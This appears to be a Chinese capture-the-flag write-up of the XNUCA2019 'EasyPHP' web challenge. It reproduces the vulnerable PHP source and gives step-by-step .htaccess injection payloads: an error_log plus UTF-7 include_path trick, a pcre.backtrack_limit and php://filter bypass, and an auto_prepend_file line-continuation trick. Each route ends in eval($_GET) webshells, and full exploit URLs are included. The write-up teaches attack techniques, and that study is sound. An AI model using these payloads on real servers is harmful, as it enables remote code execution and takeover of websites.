• [XNUCA2019Qualifier]EasyPHP


    0x00 知识点

    预期解中知识点:

    htaccess生效

    如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# 的方式将换行符转义成普通字符,就可以用#来注释单行了。

    利用文件包含

    代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。

    指定目录写文件

    如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
    如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。

    php_value include_path "xxx" 
    php_value error_reporting 32767 
    php_value error_log /tmp/fl3g.php
    

    php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤

    写入utf-7编码的shellcode可以绕过<?的过滤
    +ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
    需要在.htaccess中配置解析的编码:

    php_flag zend.multibyte 1 
    php_value zend.script_encoding "UTF-7"
    

    综上:
    最后生成的.htaccess是这样的

    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # 
    Just one chance
    

    非预期解1知识点

    设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    

    if(preg_match("/[^a-z.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false

    filename即可通过伪协议绕过前面stristr的判断实现Getshell

    非预期解2知识点

    php_value auto_prepend_file ".htaccess"
    #<?PHP eval($_GET[a]);?>
    

    因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # ,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用来连接被过滤掉的关键字来写入.htaccess

    0x01 解题

    打开题目给了我们源码:

     <?php
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        include_once("fl3g.php");
        if(!isset($_GET['content']) || !isset($_GET['filename'])) {
            highlight_file(__FILE__);
            die();
        }
        $content = $_GET['content'];
        if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
            echo "Hacker";
            die();
        }
        $filename = $_GET['filename'];
        if(preg_match("/[^a-z.]/", $filename) == 1) {
            echo "Hacker";
            die();
        }
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        file_put_contents($filename, $content . "
    Just one chance");
    ?> 
    

    分析源码:

    首先删除当前目录下非index.php的文件
    然后include(‘fl3g.php’),之后获取filename和content并写入文件中。其中对filename和content都有过滤。
    
    filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf,
    文件内容结尾被加上了一行
    

    功能很简单:
    一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。

    结合上面:

    预期解1

    https://www.anquanke.com/post/id/185377#h3-6

    Step1 写入.htaccess error_log相关的配置

    php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    php_value error_reporting 32767
    php_value error_log /tmp/fl3g.php
    # 
    
    http://65e4f7f3-b20b-4d9e-9de1-a59e81fd43b4.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20
    

    Step2 访问index.php留下error_log
    Step3 写入.htaccess新的配置

    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # 
    
    index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# 
    

    Step4 再访问一次index.php?1=evilcode即可getshell.

    非预期解1:

    php_value pcre.backtrack_limit    0
    php_value auto_append_file    ".htaccess"
    php_value pcre.jit   0
    #aa<?php eval($_GET['a']);?>
    

    令filename为:
    filename=php://filter/write=convert.base64-decode/resource=.htaccess
    这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了

    非预期解2

    因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # ,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用来连接被过滤掉的关键字来写入.htaccess,

    php_value auto_prepend_fi 
    le ".htaccess"   
    

    参考链接:

    https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp
    https://www.cnblogs.com/tr1ple/p/11439994.html

  • 相关阅读:
    分享jQuery的常用技巧12招
    浅析淘宝数据魔方技术架构
    JavaScript的跨域共享的方法
    PHP实现QQ达人信息抓取
    Dreamweaver CS5.5试用小感和破解方法附下载地址
    ExtJS 4应用架构设计
    webkit webApp 开发技术要点总结
    用delphi编写ISAPI过滤器
    1020卡免费共享测试!
    一些有用的網站
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12296896.html
Copyright © 2020-2023  润新知